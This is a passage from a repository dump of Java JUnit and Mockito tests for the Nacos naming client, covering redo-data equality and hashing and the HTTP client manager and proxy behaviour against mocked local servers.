assertNotEquals(redoData1, redoData2);\n        assertNotEquals(redoData1, redoData2);\n        BatchInstanceRedoData redoData3 = new BatchInstanceRedoData(\"c\", \"b\");\n        assertNotEquals(redoData1, redoData3);\n    }\n    \n    @Test\n    void testHashCode() {\n        BatchInstanceRedoData redoData1 = new BatchInstanceRedoData(\"a\", \"b\");\n        redoData1.setInstances(Collections.singletonList(new Instance()));\n        BatchInstanceRedoData redoData2 = new BatchInstanceRedoData(\"a\", \"b\");\n        redoData2.setInstances(Collections.singletonList(new Instance()));\n        assertEquals(redoData1.hashCode(), redoData2.hashCode());\n        redoData2.getInstances().get(0).setIp(\"1.1.1.1\");\n        assertNotEquals(redoData1.hashCode(), redoData2.hashCode());\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/remote/gprc/redo/data/InstanceRedoDataTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.remote.gprc.redo.data;\n\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\n\nclass InstanceRedoDataTest {\n    \n    @Test\n    void testEquals() {\n        InstanceRedoData redoData1 = new InstanceRedoData(\"a\", \"b\");\n        assertEquals(redoData1, redoData1);\n        assertNotEquals(null, redoData1);\n        BatchInstanceRedoData redoData2 = new BatchInstanceRedoData(\"a\", \"b\");\n        assertNotEquals(redoData1, redoData2);\n        InstanceRedoData redoData3 = new InstanceRedoData(\"a\", \"b\");\n        assertEquals(redoData1, redoData3);\n    }\n    \n    @Test\n    void testHashCode() {\n        InstanceRedoData redoData1 = new InstanceRedoData(\"a\", \"b\");\n        redoData1.set(new Instance());\n        InstanceRedoData redoData2 = new InstanceRedoData(\"a\", \"b\");\n        redoData2.set(new Instance());\n        assertEquals(redoData1.hashCode(), redoData2.hashCode());\n        redoData2.get().setIp(\"1.1.1.1\");\n        assertNotEquals(redoData1.hashCode(), redoData2.hashCode());\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/remote/http/NamingHttpClientManagerTest.java",
    "content": "/*\n *\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.client.naming.remote.http;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.http.HttpClientBeanHolder;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.http.client.request.HttpClientRequest;\nimport org.junit.jupiter.api.Test;\nimport org.mockito.Mockito;\n\nimport java.io.IOException;\nimport java.lang.reflect.Field;\nimport java.util.Map;\n\nimport static com.alibaba.nacos.common.constant.RequestUrlConstants.HTTP_PREFIX;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.mockito.Mockito.doThrow;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\n\nclass NamingHttpClientManagerTest {\n    \n    @Test\n    void testGetInstance() {\n        assertNotNull(NamingHttpClientManager.getInstance());\n    }\n    \n    @Test\n    void testGetPrefix() {\n        assertEquals(HTTP_PREFIX, NamingHttpClientManager.getInstance().getPrefix());\n    }\n    \n    @Test\n    void testGetNacosRestTemplate() {\n        assertNotNull(NamingHttpClientManager.getInstance().getNacosRestTemplate());\n    }\n    \n    @Test\n    void testShutdown() throws NoSuchFieldException, IllegalAccessException, NacosException, IOException {\n        //given\n        NamingHttpClientManager instance = NamingHttpClientManager.getInstance();\n        \n        HttpClientRequest mockHttpClientRequest = Mockito.mock(HttpClientRequest.class);\n        Field requestClient = NacosRestTemplate.class.getDeclaredField(\"requestClient\");\n        requestClient.setAccessible(true);\n        requestClient.set(instance.getNacosRestTemplate(), mockHttpClientRequest);\n        // when\n        NamingHttpClientManager.getInstance().shutdown();\n        // then\n        verify(mockHttpClientRequest, times(1)).close();\n    }\n    \n    @Test\n    void testShutdownWithException() throws Exception {\n        String key = \"com.alibaba.nacos.client.naming.remote.http.NamingHttpClientManager$NamingHttpClientFactory\";\n        try {\n            HttpClientBeanHolder.shutdownNacosSyncRest(key);\n        } catch (Exception ignored) {\n        }\n        Field field = HttpClientBeanHolder.class.getDeclaredField(\"SINGLETON_REST\");\n        field.setAccessible(true);\n        Map<String, NacosRestTemplate> map = (Map<String, NacosRestTemplate>) field.get(null);\n        NacosRestTemplate mockRest = mock(NacosRestTemplate.class);\n        map.put(key, mockRest);\n        doThrow(new RuntimeException(\"test\")).when(mockRest).close();\n        NamingHttpClientManager.getInstance().shutdown();\n        assertEquals(mockRest, map.remove(key));\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/remote/http/NamingHttpClientProxyTest.java",
    "content": "/*\n *\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.client.naming.remote.http;\n\nimport com.alibaba.nacos.api.SystemPropertyKeyConst;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.ListView;\nimport com.alibaba.nacos.api.naming.pojo.Service;\nimport com.alibaba.nacos.api.selector.ExpressionSelector;\nimport com.alibaba.nacos.api.selector.NoneSelector;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.naming.core.NamingServerListManager;\nimport com.alibaba.nacos.client.address.ServerListChangeEvent;\nimport com.alibaba.nacos.client.naming.utils.UtilAndComs;\nimport com.alibaba.nacos.client.security.SecurityProxy;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.utils.HttpMethod;\nimport com.alibaba.nacos.common.utils.ReflectUtils;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\n\nimport java.lang.reflect.Field;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.endsWith;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass NamingHttpClientProxyTest {\n    \n    @Mock\n    private SecurityProxy proxy;\n    \n    @Mock\n    private NamingServerListManager mgr;\n    \n    private Properties props;\n    \n    private NamingHttpClientProxy clientProxy;\n    \n    @BeforeEach\n    void setUp() {\n        when(mgr.getServerList()).thenReturn(Arrays.asList(\"localhost\"));\n        props = new Properties();\n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(props);\n        clientProxy = new NamingHttpClientProxy(\"namespaceId\", proxy, mgr, nacosClientProperties);\n    }\n    \n    @AfterEach\n    void tearDown() throws NacosException {\n        clientProxy.shutdown();\n        System.clearProperty(SystemPropertyKeyConst.NAMING_SERVER_PORT);\n    }\n    \n    @Test\n    void testOnEvent() {\n        clientProxy.onEvent(new ServerListChangeEvent());\n        // Do nothing\n    }\n    \n    @Test\n    void testSubscribeType() {\n        assertEquals(ServerListChangeEvent.class, clientProxy.subscribeType());\n    }\n    \n    @Test\n    void testRegisterService() throws Exception {\n        //given\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        HttpRestResult<Object> a = new HttpRestResult<Object>();\n        a.setData(\"127.0.0.1:8848\");\n        a.setCode(200);\n        when(nacosRestTemplate.exchangeForm(any(), any(), any(), any(), any(), any())).thenReturn(a);\n        \n        final Field nacosRestTemplateField = NamingHttpClientProxy.class.getDeclaredField(\"nacosRestTemplate\");\n        nacosRestTemplateField.setAccessible(true);\n        nacosRestTemplateField.set(clientProxy, nacosRestTemplate);\n        \n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        Instance instance = new Instance();\n        instance.setEphemeral(false);\n        //when\n        clientProxy.registerService(serviceName, groupName, instance);\n        //then\n        verify(nacosRestTemplate, times(1)).exchangeForm(any(), any(), any(), any(), any(), any());\n    }\n    \n    @Test\n    void testRegisterEphemeralInstance() throws NacosException {\n        assertThrows(UnsupportedOperationException.class, () -> {\n            Instance instance = new Instance();\n            clientProxy.registerService(\"a\", \"b\", instance);\n        });\n    }\n    \n    @Test\n    void testRegisterServiceThrowsNacosException() throws Exception {\n        Throwable exception = assertThrows(NacosException.class, () -> {\n            \n            NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n            HttpRestResult<Object> a = new HttpRestResult<Object>();\n            a.setCode(503);\n            when(nacosRestTemplate.exchangeForm(any(), any(), any(), any(), any(), any())).thenReturn(a);\n            \n            final Field nacosRestTemplateField = NamingHttpClientProxy.class.getDeclaredField(\"nacosRestTemplate\");\n            nacosRestTemplateField.setAccessible(true);\n            nacosRestTemplateField.set(clientProxy, nacosRestTemplate);\n            String serviceName = \"service1\";\n            String groupName = \"group1\";\n            Instance instance = new Instance();\n            instance.setEphemeral(false);\n            try {\n                clientProxy.registerService(serviceName, groupName, instance);\n            } catch (NacosException ex) {\n                // verify the `NacosException` is directly thrown\n                assertNull(ex.getCause());\n                \n                throw ex;\n            }\n        });\n        assertTrue(exception.getMessage().contains(\"failed to req API\"));\n    }\n    \n    @Test\n    void testRegisterServiceThrowsException() throws Exception {\n        assertThrows(NacosException.class, () -> {\n            \n            NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n            HttpRestResult<Object> a = new HttpRestResult<Object>();\n            a.setCode(503);\n            // makes exchangeForm failed with a NullPointerException\n            when(nacosRestTemplate.exchangeForm(any(), any(), any(), any(), any(), any())).thenReturn(null);\n            \n            final Field nacosRestTemplateField = NamingHttpClientProxy.class.getDeclaredField(\"nacosRestTemplate\");\n            nacosRestTemplateField.setAccessible(true);\n            nacosRestTemplateField.set(clientProxy, nacosRestTemplate);\n            String serviceName = \"service1\";\n            String groupName = \"group1\";\n            Instance instance = new Instance();\n            instance.setEphemeral(false);\n            \n            try {\n                clientProxy.registerService(serviceName, groupName, instance);\n            } catch (NacosException ex) {\n                // verify the `NacosException` is directly thrown\n                assertTrue(ex.getErrMsg().contains(\"java.lang.NullPointerException\"));\n                assertEquals(NacosException.SERVER_ERROR, ex.getErrCode());\n                \n                throw ex;\n            }\n        });\n    }\n    \n    @Test\n    void testBatchRegisterService() {\n        assertThrows(UnsupportedOperationException.class, () -> {\n            clientProxy.batchRegisterService(\"a\", \"b\", null);\n        });\n    }\n    \n    @Test\n    void testBatchDeregisterService() {\n        assertThrows(UnsupportedOperationException.class, () -> {\n            clientProxy.batchDeregisterService(\"a\", \"b\", null);\n        });\n    }\n    \n    @Test\n    void testDeregisterService() throws Exception {\n        //given\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        HttpRestResult<Object> a = new HttpRestResult<Object>();\n        a.setData(\"127.0.0.1:8848\");\n        a.setCode(200);\n        when(nacosRestTemplate.exchangeForm(any(), any(), any(), any(), any(), any())).thenReturn(a);\n        \n        final Field nacosRestTemplateField = NamingHttpClientProxy.class.getDeclaredField(\"nacosRestTemplate\");\n        nacosRestTemplateField.setAccessible(true);\n        nacosRestTemplateField.set(clientProxy, nacosRestTemplate);\n        \n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        Instance instance = new Instance();\n        instance.setEphemeral(false);\n        //when\n        clientProxy.deregisterService(serviceName, groupName, instance);\n        //then\n        verify(nacosRestTemplate, times(1)).exchangeForm(any(), any(), any(), any(), eq(HttpMethod.DELETE), any());\n    }\n    \n    @Test\n    void testDeregisterServiceForEphemeral() throws Exception {\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        final Field nacosRestTemplateField = NamingHttpClientProxy.class.getDeclaredField(\"nacosRestTemplate\");\n        nacosRestTemplateField.setAccessible(true);\n        nacosRestTemplateField.set(clientProxy, nacosRestTemplate);\n        Instance instance = new Instance();\n        clientProxy.deregisterService(\"serviceName\", \"groupName\", instance);\n        verify(nacosRestTemplate, never()).exchangeForm(any(), any(), any(), any(), eq(HttpMethod.DELETE), any());\n        \n    }\n    \n    @Test\n    void testUpdateInstance() throws Exception {\n        //given\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        HttpRestResult<Object> a = new HttpRestResult<Object>();\n        a.setData(\"127.0.0.1:8848\");\n        a.setCode(200);\n        when(nacosRestTemplate.exchangeForm(any(), any(), any(), any(), any(), any())).thenReturn(a);\n        \n        final Field nacosRestTemplateField = NamingHttpClientProxy.class.getDeclaredField(\"nacosRestTemplate\");\n        nacosRestTemplateField.setAccessible(true);\n        nacosRestTemplateField.set(clientProxy, nacosRestTemplate);\n        \n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        Instance instance = new Instance();\n        //when\n        clientProxy.updateInstance(serviceName, groupName, instance);\n        //then\n        verify(nacosRestTemplate, times(1)).exchangeForm(any(), any(), any(), any(), eq(HttpMethod.PUT), any());\n    }\n    \n    @Test\n    void testQueryInstancesOfServiceThrowsException() {\n        //assert exception\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        String clusters = \"cluster1\";\n        assertThrows(UnsupportedOperationException.class,\n                () -> clientProxy.queryInstancesOfService(serviceName, groupName, clusters, false));\n    }\n    \n    @Test\n    void testQueryService() throws Exception {\n        //given\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        HttpRestResult<Object> a = new HttpRestResult<Object>();\n        a.setData(\"{\\\"name\\\":\\\"service1\\\",\\\"groupName\\\":\\\"group1\\\"}\");\n        a.setCode(200);\n        when(nacosRestTemplate.exchangeForm(any(), any(), any(), any(), any(), any())).thenReturn(a);\n        \n        final Field nacosRestTemplateField = NamingHttpClientProxy.class.getDeclaredField(\"nacosRestTemplate\");\n        nacosRestTemplateField.setAccessible(true);\n        nacosRestTemplateField.set(clientProxy, nacosRestTemplate);\n        \n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        \n        //when\n        Service service = clientProxy.queryService(serviceName, groupName);\n        //then\n        verify(nacosRestTemplate, times(1)).exchangeForm(endsWith(UtilAndComs.nacosUrlService), any(), any(), any(),\n                eq(HttpMethod.GET), any());\n        assertEquals(serviceName, service.getName());\n        assertEquals(groupName, service.getGroupName());\n    }\n    \n    @Test\n    void testCreateService() throws Exception {\n        //given\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        HttpRestResult<Object> a = new HttpRestResult<Object>();\n        a.setData(\"\");\n        a.setCode(200);\n        when(nacosRestTemplate.exchangeForm(any(), any(), any(), any(), any(), any())).thenReturn(a);\n        \n        final Field nacosRestTemplateField = NamingHttpClientProxy.class.getDeclaredField(\"nacosRestTemplate\");\n        nacosRestTemplateField.setAccessible(true);\n        nacosRestTemplateField.set(clientProxy, nacosRestTemplate);\n        \n        //when\n        clientProxy.createService(new Service(), new NoneSelector());\n        //then\n        verify(nacosRestTemplate, times(1)).exchangeForm(endsWith(UtilAndComs.nacosUrlService), any(), any(), any(),\n                eq(HttpMethod.POST), any());\n    }\n    \n    @Test\n    void testDeleteService() throws Exception {\n        //given\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        HttpRestResult<Object> a = new HttpRestResult<Object>();\n        a.setData(\"{\\\"name\\\":\\\"service1\\\",\\\"groupName\\\":\\\"group1\\\"}\");\n        a.setCode(200);\n        when(nacosRestTemplate.exchangeForm(any(), any(), any(), any(), any(), any())).thenReturn(a);\n        \n        final Field nacosRestTemplateField = NamingHttpClientProxy.class.getDeclaredField(\"nacosRestTemplate\");\n        nacosRestTemplateField.setAccessible(true);\n        nacosRestTemplateField.set(clientProxy, nacosRestTemplate);\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        \n        //when\n        clientProxy.deleteService(serviceName, groupName);\n        //then\n        verify(nacosRestTemplate, times(1)).exchangeForm(endsWith(UtilAndComs.nacosUrlService), any(), any(), any(),\n                eq(HttpMethod.DELETE), any());\n    }\n    \n    @Test\n    void testUpdateService() throws Exception {\n        //given\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        HttpRestResult<Object> a = new HttpRestResult<Object>();\n        a.setData(\"\");\n        a.setCode(200);\n        when(nacosRestTemplate.exchangeForm(any(), any(), any(), any(), any(), any())).thenReturn(a);\n        \n        final Field nacosRestTemplateField = NamingHttpClientProxy.class.getDeclaredField(\"nacosRestTemplate\");\n        nacosRestTemplateField.setAccessible(true);\n        nacosRestTemplateField.set(clientProxy, nacosRestTemplate);\n        String serviceName = \"service1\";\n        String groupName = \"group1\";\n        \n        //when\n        clientProxy.updateService(new Service(), new NoneSelector());\n        //then\n        verify(nacosRestTemplate, times(1)).exchangeForm(endsWith(UtilAndComs.nacosUrlService), any(), any(), any(),\n                eq(HttpMethod.PUT), any());\n        \n    }\n    \n    @Test\n    void testServerHealthy() throws Exception {\n        //given\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        HttpRestResult<Object> a = new HttpRestResult<Object>();\n        a.setData(\"{\\\"code\\\":0,\\\"message\\\":\\\"success\\\",\\\"data\\\":\\\"ok\\\"}\");\n        a.setCode(200);\n        when(nacosRestTemplate.exchangeForm(any(), any(), any(), any(), any(), any())).thenReturn(a);\n        \n        final Field nacosRestTemplateField = NamingHttpClientProxy.class.getDeclaredField(\"nacosRestTemplate\");\n        nacosRestTemplateField.setAccessible(true);\n        nacosRestTemplateField.set(clientProxy, nacosRestTemplate);\n        \n        //when\n        boolean serverHealthy = clientProxy.serverHealthy();\n        //then\n        verify(nacosRestTemplate, times(1)).exchangeForm(endsWith(\"/v3/admin/core/state/liveness\"), any(), any(), any(),\n                eq(HttpMethod.GET), any());\n        assertTrue(serverHealthy);\n    }\n    \n    @Test\n    void testServerHealthyForException() throws Exception {\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        when(nacosRestTemplate.exchangeForm(any(), any(), any(), any(), any(), any())).thenThrow(\n                new RuntimeException(\"test\"));\n        final Field nacosRestTemplateField = NamingHttpClientProxy.class.getDeclaredField(\"nacosRestTemplate\");\n        nacosRestTemplateField.setAccessible(true);\n        nacosRestTemplateField.set(clientProxy, nacosRestTemplate);\n        assertFalse(clientProxy.serverHealthy());\n    }\n    \n    @Test\n    void testGetServiceList() throws Exception {\n        //given\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        HttpRestResult<Object> a = new HttpRestResult<Object>();\n        a.setData(\"{\\\"count\\\":2,\\\"doms\\\":[\\\"aaa\\\",\\\"bbb\\\"]}\");\n        a.setCode(200);\n        when(nacosRestTemplate.exchangeForm(any(), any(), any(), any(), any(), any())).thenReturn(a);\n        \n        final Field nacosRestTemplateField = NamingHttpClientProxy.class.getDeclaredField(\"nacosRestTemplate\");\n        nacosRestTemplateField.setAccessible(true);\n        nacosRestTemplateField.set(clientProxy, nacosRestTemplate);\n        String groupName = \"group1\";\n        \n        //when\n        ListView<String> serviceList = clientProxy.getServiceList(1, 10, groupName, new NoneSelector());\n        //then\n        verify(nacosRestTemplate, times(1)).exchangeForm(endsWith(\"/service/list\"), any(), any(), any(),\n                eq(HttpMethod.GET), any());\n        assertEquals(2, serviceList.getCount());\n        assertEquals(\"aaa\", serviceList.getData().get(0));\n        assertEquals(\"bbb\", serviceList.getData().get(1));\n    }\n    \n    @Test\n    void testGetServiceListWithLabelSelector() throws Exception {\n        //given\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        HttpRestResult<Object> a = new HttpRestResult<Object>();\n        a.setData(\"{\\\"count\\\":2,\\\"doms\\\":[\\\"aaa\\\",\\\"bbb\\\"]}\");\n        a.setCode(200);\n        when(nacosRestTemplate.exchangeForm(any(), any(), any(), any(), any(), any())).thenReturn(a);\n        \n        final Field nacosRestTemplateField = NamingHttpClientProxy.class.getDeclaredField(\"nacosRestTemplate\");\n        nacosRestTemplateField.setAccessible(true);\n        nacosRestTemplateField.set(clientProxy, nacosRestTemplate);\n        String groupName = \"group1\";\n        \n        //when\n        ListView<String> serviceList = clientProxy.getServiceList(1, 10, groupName, new ExpressionSelector());\n        //then\n        verify(nacosRestTemplate, times(1)).exchangeForm(endsWith(\"/service/list\"), any(), any(), any(),\n                eq(HttpMethod.GET), any());\n        assertEquals(2, serviceList.getCount());\n        assertEquals(\"aaa\", serviceList.getData().get(0));\n        assertEquals(\"bbb\", serviceList.getData().get(1));\n    }\n    \n    @Test\n    void testSubscribe() throws Exception {\n        assertThrows(UnsupportedOperationException.class, () -> {\n            String groupName = \"group1\";\n            String serviceName = \"serviceName\";\n            String clusters = \"clusters\";\n            \n            //when\n            clientProxy.subscribe(serviceName, groupName, clusters);\n        });\n    }\n    \n    @Test\n    void testUnsubscribe() throws Exception {\n        String groupName = \"group1\";\n        String serviceName = \"serviceName\";\n        String clusters = \"clusters\";\n        \n        //when\n        clientProxy.unsubscribe(serviceName, groupName, clusters);\n        // do nothing\n    }\n    \n    @Test\n    void testIsSubscribed() throws NacosException {\n        assertTrue(clientProxy.isSubscribed(\"serviceName\", \"group1\", \"clusters\"));\n    }\n    \n    @Test\n    void testReqApi() throws Exception {\n        //given\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        \n        when(nacosRestTemplate.exchangeForm(any(), any(), any(), any(), any(), any())).thenAnswer(invocationOnMock -> {\n            //return url\n            HttpRestResult<Object> res = new HttpRestResult<Object>();\n            res.setData(invocationOnMock.getArgument(0));\n            res.setCode(200);\n            return res;\n        });\n        \n        final Field nacosRestTemplateField = NamingHttpClientProxy.class.getDeclaredField(\"nacosRestTemplate\");\n        nacosRestTemplateField.setAccessible(true);\n        nacosRestTemplateField.set(clientProxy, nacosRestTemplate);\n        String api = \"/api\";\n        Map<String, String> params = new HashMap<>();\n        String method = HttpMethod.GET;\n        //when\n        String res = clientProxy.reqApi(api, params, method);\n        //then\n        assertEquals(\"http://localhost:8848/api\", res);\n        \n    }\n    \n    @Test\n    void testReqApi2() throws Exception {\n        //given\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        \n        when(nacosRestTemplate.exchangeForm(any(), any(), any(), any(), any(), any())).thenAnswer(invocationOnMock -> {\n            //return url\n            HttpRestResult<Object> res = new HttpRestResult<Object>();\n            res.setData(invocationOnMock.getArgument(0));\n            res.setCode(200);\n            return res;\n        });\n        \n        final Field nacosRestTemplateField = NamingHttpClientProxy.class.getDeclaredField(\"nacosRestTemplate\");\n        nacosRestTemplateField.setAccessible(true);\n        nacosRestTemplateField.set(clientProxy, nacosRestTemplate);\n        String api = \"/api\";\n        Map<String, String> params = new HashMap<>();\n        Map<String, String> body = new HashMap<>();\n        String method = HttpMethod.GET;\n        //when\n        String res = clientProxy.reqApi(api, params, body, method);\n        //then\n        assertEquals(\"http://localhost:8848/api\", res);\n    }\n    \n    @Test\n    void testReqApi3() throws Exception {\n        //given\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        \n        when(nacosRestTemplate.exchangeForm(any(), any(), any(), any(), any(), any())).thenAnswer(invocationOnMock -> {\n            //return url\n            HttpRestResult<Object> res = new HttpRestResult<Object>();\n            res.setData(invocationOnMock.getArgument(0));\n            res.setCode(200);\n            return res;\n        });\n        \n        final Field nacosRestTemplateField = NamingHttpClientProxy.class.getDeclaredField(\"nacosRestTemplate\");\n        nacosRestTemplateField.setAccessible(true);\n        nacosRestTemplateField.set(clientProxy, nacosRestTemplate);\n        String api = \"/api\";\n        Map<String, String> params = new HashMap<>();\n        Map<String, String> body = new HashMap<>();\n        String method = HttpMethod.GET;\n        List<String> servers = Arrays.asList(\"127.0.0.1\");\n        //when\n        String res = clientProxy.reqApi(api, params, body, servers, method);\n        //then\n        assertEquals(\"http://127.0.0.1:8848/api\", res);\n    }\n    \n    @Test\n    void testCallServerFail() throws Exception {\n        assertThrows(NacosException.class, () -> {\n            \n            //given\n            NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n            \n            when(nacosRestTemplate.exchangeForm(any(), any(), any(), any(), any(), any())).thenAnswer(\n                    invocationOnMock -> {\n                        //return url\n                        HttpRestResult<Object> res = new HttpRestResult<Object>();\n                        res.setMessage(\"fail\");\n                        res.setCode(400);\n                        return res;\n                    });\n            \n            final Field nacosRestTemplateField = NamingHttpClientProxy.class.getDeclaredField(\"nacosRestTemplate\");\n            nacosRestTemplateField.setAccessible(true);\n            nacosRestTemplateField.set(clientProxy, nacosRestTemplate);\n            String api = \"/api\";\n            Map<String, String> params = new HashMap<>();\n            Map<String, String> body = new HashMap<>();\n            String method = HttpMethod.GET;\n            String curServer = \"127.0.0.1\";\n            //when\n            clientProxy.callServer(api, params, body, curServer, method);\n            \n        });\n        \n    }\n    \n    @Test\n    void testCallServerFail304() throws Exception {\n        //given\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n        \n        when(nacosRestTemplate.exchangeForm(any(), any(), any(), any(), any(), any())).thenAnswer(invocationOnMock -> {\n            //return url\n            HttpRestResult<Object> res = new HttpRestResult<Object>();\n            res.setMessage(\"redirect\");\n            res.setCode(304);\n            return res;\n        });\n        \n        final Field nacosRestTemplateField = NamingHttpClientProxy.class.getDeclaredField(\"nacosRestTemplate\");\n        nacosRestTemplateField.setAccessible(true);\n        nacosRestTemplateField.set(clientProxy, nacosRestTemplate);\n        String api = \"/api\";\n        Map<String, String> params = new HashMap<>();\n        Map<String, String> body = new HashMap<>();\n        String method = HttpMethod.GET;\n        String curServer = \"127.0.0.1\";\n        //when\n        String s = clientProxy.callServer(api, params, body, curServer, method);\n        //then\n        assertEquals(\"\", s);\n    }\n    \n    @Test\n    void testGetNamespaceId() {\n        String namespaceId = \"aaa\";\n        final NacosClientProperties nacosClientProperties = NacosClientProperties.PROTOTYPE.derive(props);\n        NamingHttpClientProxy clientProxy = new NamingHttpClientProxy(namespaceId, proxy, mgr, nacosClientProperties);\n        String actualNamespaceId = clientProxy.getNamespaceId();\n        assertEquals(namespaceId, actualNamespaceId);\n    }\n    \n    @Test\n    void testSetServerPort() {\n        clientProxy.setServerPort(1234);\n        assertEquals(1234, ReflectUtils.getFieldValue(clientProxy, \"serverPort\"));\n        System.setProperty(SystemPropertyKeyConst.NAMING_SERVER_PORT, \"1111\");\n        clientProxy.setServerPort(1234);\n        assertEquals(1111, ReflectUtils.getFieldValue(clientProxy, \"serverPort\"));\n    }\n    \n    @Test\n    void testReqApiForEmptyServer() throws NacosException {\n        assertThrows(NacosException.class, () -> {\n            Map<String, String> params = new HashMap<>();\n            clientProxy.reqApi(\"api\", params, Collections.emptyMap(), Collections.emptyList(), HttpMethod.GET);\n        });\n    }\n    \n    @Test\n    void testRegApiForDomain() throws NacosException {\n        assertThrows(NacosException.class, () -> {\n            Map<String, String> params = new HashMap<>();\n            clientProxy.reqApi(\"api\", params, Collections.emptyMap(), Collections.emptyList(), HttpMethod.GET);\n            \n        });\n        \n    }\n    \n    @Test\n    void testCallServerFail403() throws Exception {\n        //given\n        NacosRestTemplate nacosRestTemplate = mock(NacosRestTemplate.class);\n\n        when(nacosRestTemplate.exchangeForm(any(), any(), any(), any(), any(), any())).thenAnswer(invocationOnMock -> {\n            //return url\n            HttpRestResult<Object> res = new HttpRestResult<Object>();\n            res.setMessage(\"Invalid signature\");\n            res.setCode(403);\n            return res;\n        });\n\n        final Field nacosRestTemplateField = NamingHttpClientProxy.class.getDeclaredField(\"nacosRestTemplate\");\n        nacosRestTemplateField.setAccessible(true);\n        